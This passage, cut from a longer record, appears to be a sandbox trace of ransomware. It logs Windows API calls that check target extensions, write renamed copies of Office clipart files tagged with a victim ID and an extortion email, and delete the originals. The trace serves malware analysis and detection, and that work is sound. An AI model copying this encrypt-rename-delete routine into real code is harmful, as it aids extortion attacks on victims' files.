Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 63 [0056.673] lstrlenW (lpString=".jpg") returned 4 [0056.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.674] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.674] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.674] GetLastError () returned 0x0 [0056.674] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0056.676] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0056.677] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.677] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.677] SetEndOfFile (hFile=0x258) returned 1 [0056.677] CloseHandle (hObject=0x258) returned 1 [0056.677] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.677] SetEndOfFile (hFile=0x22c) returned 1 [0056.678] CloseHandle (hObject=0x22c) returned 1 [0056.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0056.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.678] lstrlenW (lpString=".doc") returned 4 [0056.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.678] lstrlenW (lpString=".docx") returned 5 [0056.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.679] lstrlenW (lpString=".pdf") returned 4 [0056.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString=".xls") returned 4 [0056.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.679] lstrlenW (lpString=".xlsx") returned 5 [0056.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.679] lstrlenW (lpString=".ppt") returned 4 [0056.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.679] lstrlenW (lpString=".zip") returned 4 [0056.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.679] lstrlenW (lpString=".rar") returned 4 [0056.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString=".bz2") returned 4 [0056.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString=".7z") returned 3 [0056.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.679] lstrlenW (lpString=".dbf") returned 4 [0056.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.679] lstrlenW (lpString=".1cd") returned 4 [0056.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0056.679] lstrlenW (lpString=".jpg") returned 4 [0056.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.680] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.680] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.680] GetLastError () returned 0x0 [0056.680] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x6a0, lpOverlapped=0x0) returned 1 [0056.682] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0056.683] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.683] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.683] SetEndOfFile (hFile=0x258) returned 1 [0056.683] CloseHandle (hObject=0x258) returned 1 [0056.683] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.684] SetEndOfFile (hFile=0x22c) returned 1 [0056.684] CloseHandle (hObject=0x22c) returned 1 [0056.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0056.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.685] lstrlenW (lpString=".doc") returned 4 [0056.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.685] lstrlenW (lpString=".docx") returned 5 [0056.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.685] lstrlenW (lpString=".pdf") returned 4 [0056.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.685] lstrlenW (lpString=".xls") returned 4 [0056.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.685] lstrlenW (lpString=".xlsx") returned 5 [0056.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.685] lstrlenW (lpString=".ppt") returned 4 [0056.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.685] lstrlenW (lpString=".zip") returned 4 [0056.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.685] lstrlenW (lpString=".rar") returned 4 [0056.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.686] lstrlenW (lpString=".bz2") returned 4 [0056.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.686] lstrlenW (lpString=".7z") returned 3 [0056.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.686] lstrlenW (lpString=".dbf") returned 4 [0056.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.686] lstrlenW (lpString=".1cd") returned 4 [0056.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0056.686] lstrlenW (lpString=".jpg") returned 4 [0056.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.686] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.686] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.687] GetLastError () returned 0x0 [0056.687] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x5ec, lpOverlapped=0x0) returned 1 [0056.691] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x5f0, lpOverlapped=0x0) returned 1 [0056.692] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.692] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.692] SetEndOfFile (hFile=0x258) returned 1 [0056.692] CloseHandle (hObject=0x258) returned 1 [0056.692] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.692] SetEndOfFile (hFile=0x22c) returned 1 [0056.693] CloseHandle (hObject=0x22c) returned 1 [0056.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0056.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.694] lstrlenW (lpString=".doc") returned 4 [0056.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString=".docx") returned 5 [0056.694] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.694] lstrlenW (lpString=".pdf") returned 4 [0056.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString=".xls") returned 4 [0056.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.694] lstrlenW (lpString=".xlsx") returned 5 [0056.694] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.694] lstrlenW (lpString=".ppt") returned 4 [0056.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.694] lstrlenW (lpString=".zip") returned 4 [0056.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.694] lstrlenW (lpString=".rar") returned 4 [0056.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString=".bz2") returned 4 [0056.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString=".7z") returned 3 [0056.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.694] lstrlenW (lpString=".dbf") returned 4 [0056.694] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.694] lstrlenW (lpString=".1cd") returned 4 [0056.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0056.694] lstrlenW (lpString=".jpg") returned 4 [0056.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.695] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.695] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.695] GetLastError () returned 0x0 [0056.695] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xf92, lpOverlapped=0x0) returned 1 [0056.697] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xfa0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa0, lpOverlapped=0x0) returned 1 [0056.700] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.700] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.700] SetEndOfFile (hFile=0x258) returned 1 [0056.700] CloseHandle (hObject=0x258) returned 1 [0056.700] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.700] SetEndOfFile (hFile=0x22c) returned 1 [0056.701] CloseHandle (hObject=0x22c) returned 1 [0056.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00194_.wmf")) returned 1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.702] lstrlenW (lpString=".doc") returned 4 [0056.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString=".docx") returned 5 [0056.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.702] lstrlenW (lpString=".pdf") returned 4 [0056.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString=".xls") returned 4 [0056.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.702] lstrlenW (lpString=".xlsx") returned 5 [0056.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.702] lstrlenW (lpString=".ppt") returned 4 [0056.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.702] lstrlenW (lpString=".zip") returned 4 [0056.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.702] lstrlenW (lpString=".rar") returned 4 [0056.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString=".bz2") returned 4 [0056.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString=".7z") returned 3 [0056.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.702] lstrlenW (lpString=".dbf") returned 4 [0056.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.702] lstrlenW (lpString=".1cd") returned 4 [0056.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00194_.WMF") returned 63 [0056.703] lstrlenW (lpString=".jpg") returned 4 [0056.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.704] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.704] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.704] GetLastError () returned 0x0 [0056.704] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x1f86, lpOverlapped=0x0) returned 1 [0056.707] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x1f90, lpOverlapped=0x0) returned 1 [0056.708] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.708] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.708] SetEndOfFile (hFile=0x258) returned 1 [0056.708] CloseHandle (hObject=0x258) returned 1 [0056.709] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.709] SetEndOfFile (hFile=0x22c) returned 1 [0056.709] CloseHandle (hObject=0x22c) returned 1 [0056.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0056.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0056.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.710] lstrlenW (lpString=".doc") returned 4 [0056.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.710] lstrlenW (lpString=".docx") returned 5 [0056.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.710] lstrlenW (lpString=".pdf") returned 4 [0056.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.710] lstrlenW (lpString=".xls") returned 4 [0056.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.710] lstrlenW (lpString=".xlsx") returned 5 [0056.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.710] lstrlenW (lpString=".ppt") returned 4 [0056.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.710] lstrlenW (lpString=".zip") returned 4 [0056.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.710] lstrlenW (lpString=".rar") returned 4 [0056.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.710] lstrlenW (lpString=".bz2") returned 4 [0056.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.711] lstrlenW (lpString=".7z") returned 3 [0056.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.711] lstrlenW (lpString=".dbf") returned 4 [0056.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.711] lstrlenW (lpString=".1cd") returned 4 [0056.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00195_.WMF") returned 63 [0056.711] lstrlenW (lpString=".jpg") returned 4 [0056.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.711] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.711] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.711] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258 [0056.711] GetLastError () returned 0x0 [0056.712] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2458, lpOverlapped=0x0) returned 1 [0056.894] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x2460, lpOverlapped=0x0) returned 1 [0056.895] ReadFile (in: hFile=0x22c, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.895] WriteFile (in: hFile=0x258, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.895] SetEndOfFile (hFile=0x258) returned 1 [0056.895] CloseHandle (hObject=0x258) returned 1 [0056.895] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.895] SetEndOfFile 